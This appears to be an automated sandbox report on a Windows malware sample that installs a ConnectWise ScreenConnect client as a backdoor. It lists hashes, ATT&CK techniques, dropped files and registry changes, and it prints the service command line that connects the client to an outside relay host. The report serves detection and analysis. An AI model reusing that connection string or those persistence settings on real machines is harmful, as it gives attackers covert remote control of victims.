692dbe8945a567d4ed009953747b406e8ada233563603fff1b25c6348e3a5155

Analysis

max time kernel
150s
max time network
135s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260706-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
06/07/2026, 23:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-06_ff1449ff72006c7b9f2b047439c1eac2_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
Size 17.2MB
Sample260706-3pbe4sdt8v
SHA256 692dbe8945a567d4ed009953747b406e8ada233563603fff1b25c6348e3a5155
MD5 ff1449ff72006c7b9f2b047439c1eac2
SHA1 a38156dda69beabcf430aff18b482b1e7df22d59
SHA512 b9bcb0d796d7cb641675fbdf483edb5f1637a95dafbeef0a240a175c782c0be464da9c0aebc0d8a0f42ac0d7a902bfcefc84bdf7bb8260c08c87ce70ce1fc03c
SSDEEP 393216:86RLs3t9BYRLvRL8RL1RLlRLSRL+RLrRL5:FztSHfkIZN
TLSH
T16D071201A3F94965E5FB0B39EC7A46255A76BC144B11C6AF0358B96D2D33BC0CA323B3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

backdoor discovery persistence ransomware rat

Malware Config

Signatures

Detects encrypted or obfuscated .NET executables 1 IoCs

resource	yara_rule
behavioral2/files/0x001100000001c56d-140.dat	INDICATOR_EXE_DotNET_Encrypted

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (61dd44f91aa6990f)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (61dd44f91aa6990f)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=support.jsp-world.de&p=8041&s=5fc57e0d-9aa3-42ab-96b0-4cfb3562c1c1&k=BgIAAACkAABSU0ExAAgAABEAAADbxe%2f8TP0fySO%2fHafn0vNzbAHAoGqrT6GHZf4tt%2fQfZgBdMJzz%2fIngT6g3PIcJc5PewxMDB%2fMoFhpZ%2f8e0r8UnFbMxYtS%2fv0036s0ouz3TqS1dNV4zifRe6Hej9%2fkbhAXvkWILFptoqDtKcnFyTwVCu7I25g7ZyvJx7HRGa%2bE0kmqyNOWSAc%2fdQHjPI01PdTiqSYQ6HTvoHSG8mVek%2fCL4ihK7kaP9TLRHpmRpMfKZjnQNmYSj6U%2byNMh%2bWuKnk5ghEdN3XYoi%2b8EYGROyv1skFrAv6mNAOF9FS1NtvkbKx27hBxt2lUxf6DOA0y5vrqHgZWHjRLs0U%2fElDABDmwmB&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAA2VJkX5ZC0EGeZsIyZpCwGAAAAAACAAAAAAAQZgAAAAEAACAAAACuK%2buoDu4Fwar73pgizhGICZ%2bBwR9b06Wkxay6MCg9dAAAAAAOgAAAAAIAACAAAACYxj2JGbgWH9uvMMqBAW8pNfo6zlF7b5lj4rybwxWx36AEAAATKoRyUd%2fIM46%2bROP24wEa%2fuPIPo49yFI5sg8XCC9KdR2qr0Ln%2fu3MbNXPlU7pKvzAFcjf0kgBUj%2ban1na80NxRwq6e2r9rE4hzwgM1q%2fRdrPBK7zZ3z3t85W5WfLYNJjmfSvs6JwNh5tjpabsr9AuM6ro0%2b7pP4MQv4VI3pN6NRDTDMMtr5MJj05msFha9Y1P%2fovLIkau7G3SM6Vn53gwsQ%2bIKiMpdSB9J2H2lRFJPWyGb%2fC%2f%2bmPQTcqV%2bhA2%2bq%2brCxNeAyJgE2yFOdSF0%2fDOMOevpxhU9%2bWkIixuTrGakFSvQM1q5FeadhzBpEkvjfIWHf7RVc4iofmEOdGUTX53PdM5H4vwnrMrpFddIofhYq%2b4RUA6XBJYy7lCNnwXF3v7O36joEXhrNB4IdmQ4si2vqR7ixhP6C6jjxG9BQ8xy3ClGvaM%2bHQuxC42eZUdJqePRpEaQAdpNflCEc%2fskVWGW35%2fv%2fSr3%2fg9sT3xjfns0WLA3gWGB%2frFEP6A4ZFs3M0mcIV%2fRrk%2fwjs%2bpW8IEs5ZbJaMUNdv%2f2FneTiHbif1Qyl59N81%2fDVlX9wc3iO%2fMCoC9NWLQqlLbULOECACGAFtGzfgF1JWUmOFaQ3%2fJkeoIz1qTbC%2bm9BQrpevGEgT40XPjbs3BFCrqREOViE9GZ%2fEJz4N0Fay9B0cGMPoz%2fyrSHneUiACs09ntDgm%2f7obdexJscovNglpbfJ70CTiExDabzBjQgEDLyBKIGzaTWU4CNjUfrBpQiT%2fSqXZe8EtG25vH8O%2fszZUykVtubDq7bAgQHMIenwfYX%2bX%2fEOmVMxKTU7%2fObk8XC5VYwKdVdFy4aF8hd8MwYPAbKp8xAOGwHFelm8zw9tHHPsWpZok3MFcOXJQZkvitUlLgPyaefG5TRRla3JdSCz0SzjH4aWPOxHUW805IgNXFLA4%2bA6FTeF8F4OVU6MozuBE%2fOgWGbsY%2f3lkPcH6q5Xo7MK74kiSGCXxVc8BAw4nxI%2bR%2bvNqgsVPj7WT3DVHhSyOlDCQHClvbG%2bCVcDEQtsYgz2ZxUQBy1RJvsGAPYcfYRW4u32HLozfn2gpoQP7ygeNQlZgqgBoasCkmdjOjsBhxGclb9GcACSG4IQTdvB%2bMT6yyFhuLkki3zx8plCTdbiSPOmvtnFPQnG7olFJFWRCgdT0xs3xCrQIJMKJAxURWAxIiw%2fptMqIWldx69vRGX4YrHelyneP5zc49zQc%2fbJWgo2rX3w3eXL%2bBVwqos03afOa%2fxxaJtFMBU8gdYWDOGV5NG%2firOyAxLawQJgpXjxTPA2YP9kDNctmcIucZ7ioa815UtJ5sSuBexf0ZZvI4n7uKY%2f%2fJNgtnW4lyoRDPH0APOJYljf40kqQnZOh2UKh1ty%2ffXEHUK%2fga439Z95iuZtzzOFF06%2bbtgi%2bX3H2Sya6O5iiAtDUfDpDn076lC5mrKiWCg7gCwEY5bFpY5MlTBKfgGDQv2ZDjQPiWiTIFmnV00zYDO5%2btF99Tj%2fZjiYg8AwoIxD6MrqYQDgSmqpsAE6aALH0BNqXKC9gBMkDakKSphYqO%2bz6lPP%2fuft6Tut%2bX7sspduh9f0jikAAAACOejI9ZxJuGyCQgC8%2b%2fFcWxJ5BHjAzVIos4AFZlLIs0ZNhqvFuSLRtGpY25KK%2f1vFQyVo2wpPUoiJ5EoCNUNl4\""	ScreenConnect.ClientService.exe

ConnectWise ScreenConnect remote access tool
ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.
backdoor rat

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (61dd44f91aa6990f)\qzlsxrts.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (61dd44f91aa6990f)\qzlsxrts.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (61dd44f91aa6990f)\erc4t15w.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (61dd44f91aa6990f)\erc4t15w.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (61dd44f91aa6990f)\user.config	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (61dd44f91aa6990f)\erc4t15w.newcfg	ScreenConnect.ClientService.exe

Drops file in Program Files directory 38 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\ScreenConnect.WindowsClient.exe	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\Client.Override.de.resources	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\system.config	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\app.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\Elsinore.ScreenConnect.Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\system.config	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\ScreenConnect.Client.dll	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\Client.Override.en-US.resources	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\Client.Override.resources	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\Client.Override.de.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\Client.Override.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\Client.resources	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\ScreenConnect.Core.dll	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\app.config	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\Client.resources	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\ScreenConnect.Windows.dll	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\Client.Override.en-US.resources	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\Elsinore.ScreenConnect.Client.resources	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (61dd44f91aa6990f)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe

Drops file in Windows directory 57 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSIF6EE.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI5625.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI5693.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\~DFA9E86F2BD8775BB4.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI57AD.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIEBB1.tmp-\ScreenConnect.InstallerActions.dll	rundll32.exe
File created	C:\Windows\SystemTemp\~DF44593FBA79E3F649.TMP	msiexec.exe
File created	C:\Windows\Installer\{BB0B5F7D-A5B6-C73E-C3B8-8C99424289D9}\DefaultIcon	msiexec.exe
File created	C:\Windows\SystemTemp\~DF7A528C651BCDB279.TMP	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\SystemTemp\~DF347E92506A05CB64.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\e5953f5.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIEBB1.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll	rundll32.exe
File created	C:\Windows\SystemTemp\~DF2BAACA19BF541ADA.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DFFC63E5B125348255.TMP	msiexec.exe
File created	C:\Windows\Installer\e5953f2.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF449B8B2DF3AECDB0.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF22197496E60A8528.TMP	msiexec.exe
File created	C:\Windows\Installer\wix{70469D58-AB0D-76DD-C107-45DEE5B6318B}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\SystemTemp\ScreenConnect\25.8.3.9466\61dd44f91aa6990f\ScreenConnect.ClientSetup.msi	ScreenConnect.ClientSetup.exe
File created	C:\Windows\SystemTemp\~DFD1268139A10D8BBA.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIEBB1.tmp-\Microsoft.Deployment.Compression.dll	rundll32.exe
File created	C:\Windows\Installer\e5953f4.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{70469D58-AB0D-76DD-C107-45DEE5B6318B}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIEBB1.tmp-\Microsoft.Deployment.Compression.Cab.dll	rundll32.exe
File created	C:\Windows\SystemTemp\~DFE04FA6ED4F11F192.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIEBB1.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF7EA.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DFDAB34C0F61AECB22.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIEBB1.tmp-\ScreenConnect.Windows.dll	rundll32.exe
File created	C:\Windows\Installer\e59540f.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\{BB0B5F7D-A5B6-C73E-C3B8-8C99424289D9}\DefaultIcon	msiexec.exe
File created	C:\Windows\SystemTemp\ScreenConnect\25.6.9.9400\ScreenConnect.ClientSetup.exe	ScreenConnect.ClientService.exe
File created	C:\Windows\Installer\SourceHash{BB0B5F7D-A5B6-C73E-C3B8-8C99424289D9}	msiexec.exe
File created	C:\Windows\SystemTemp\~DFD395D172230B1C81.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIEBB1.tmp-\ScreenConnect.Core.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIF576.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF73D.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DF33695EBEFD8584E5.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIEBB1.tmp-\CustomAction.config	rundll32.exe
File created	C:\Windows\SystemTemp\~DFF3835541DB60E6AE.TMP	msiexec.exe
File created	C:\Windows\Installer\wix{BB0B5F7D-A5B6-C73E-C3B8-8C99424289D9}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\SystemTemp\~DF337CF1F631C72DF8.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\e5953f2.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF1291D3DE0FE75EFE.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF4D861AAC2FC90CD2.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIEBB1.tmp-\Microsoft.Deployment.WindowsInstaller.dll	rundll32.exe
File created	C:\Windows\SystemTemp\~DF7CC2AAF4359E1EB0.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DFFC09A0145BAE872B.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DFD00C84FAEC9ECAD1.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF434490D59B7FA9F6.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF8D125189EE61313E.TMP	msiexec.exe
File created	C:\Windows\Installer\{70469D58-AB0D-76DD-C107-45DEE5B6318B}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\{70469D58-AB0D-76DD-C107-45DEE5B6318B}\DefaultIcon	msiexec.exe
File created	C:\Windows\Installer\e5953f5.msi	msiexec.exe

Executes dropped EXE 7 IoCs

pid	Process
1092	ScreenConnect.ClientService.exe
3988	ScreenConnect.WindowsClient.exe
3804	ScreenConnect.WindowsClient.exe
1680	ScreenConnect.ClientSetup.exe
5860	ScreenConnect.ClientService.exe
4288	ScreenConnect.WindowsClient.exe
5724	ScreenConnect.WindowsClient.exe

Loads dropped DLL 44 IoCs

pid	Process
5024	MsiExec.exe
880	rundll32.exe
880	rundll32.exe
880	rundll32.exe
880	rundll32.exe
880	rundll32.exe
880	rundll32.exe
880	rundll32.exe
880	rundll32.exe
880	rundll32.exe
1256	MsiExec.exe
4840	MsiExec.exe
1092	ScreenConnect.ClientService.exe
1092	ScreenConnect.ClientService.exe
1092	ScreenConnect.ClientService.exe
1092	ScreenConnect.ClientService.exe
1092	ScreenConnect.ClientService.exe
1092	ScreenConnect.ClientService.exe
1092	ScreenConnect.ClientService.exe
1092	ScreenConnect.ClientService.exe
1092	ScreenConnect.ClientService.exe
1092	ScreenConnect.ClientService.exe
5008	MsiExec.exe
4360	rundll32.exe
4360	rundll32.exe
4360	rundll32.exe
4360	rundll32.exe
4360	rundll32.exe
4360	rundll32.exe
4360	rundll32.exe
4360	rundll32.exe
4360	rundll32.exe
5008	MsiExec.exe
5008	MsiExec.exe
5860	ScreenConnect.ClientService.exe
5860	ScreenConnect.ClientService.exe
5860	ScreenConnect.ClientService.exe
5860	ScreenConnect.ClientService.exe
5860	ScreenConnect.ClientService.exe
5860	ScreenConnect.ClientService.exe
5860	ScreenConnect.ClientService.exe
5860	ScreenConnect.ClientService.exe
5860	ScreenConnect.ClientService.exe
5860	ScreenConnect.ClientService.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-07-06_ff1449ff72006c7b9f2b047439c1eac2_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0002\Sequence = "1"	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\28	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\29	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientSetup.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientSetup.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	msiexec.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\RegFiles0000 = 43003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800360031006400640034003400660039003100610061003600390039003000660029005c00530063007200650065006e0043006f006e006e006500630074002e0043006c00690065006e00740053006500720076006900630065002e0064006c006c00000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800360031006400640034003400660039003100610061003600390039003000660029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f007700730043006c00690065006e0074002e00650078006500000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800360031006400640034003400660039003100610061003600390039003000660029005c00530063007200650065006e0043006f006e006e006500630074002e0043006c00690065006e0074002e0064006c006c00000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800360031006400640034003400660039003100610061003600390039003000660029005c00530063007200650065006e0043006f006e006e006500630074002e0043006f00720065002e0064006c006c00000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800360031006400640034003400660039003100610061003600390039003000660029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f00770073002e0064006c006c00000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800360031006400640034003400660039003100610061003600390039003000660029005c00530063007200650065006e0043006f006e006e006500630074002e0043006c00690065006e00740053006500720076006900630065002e0065007800650000000000	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
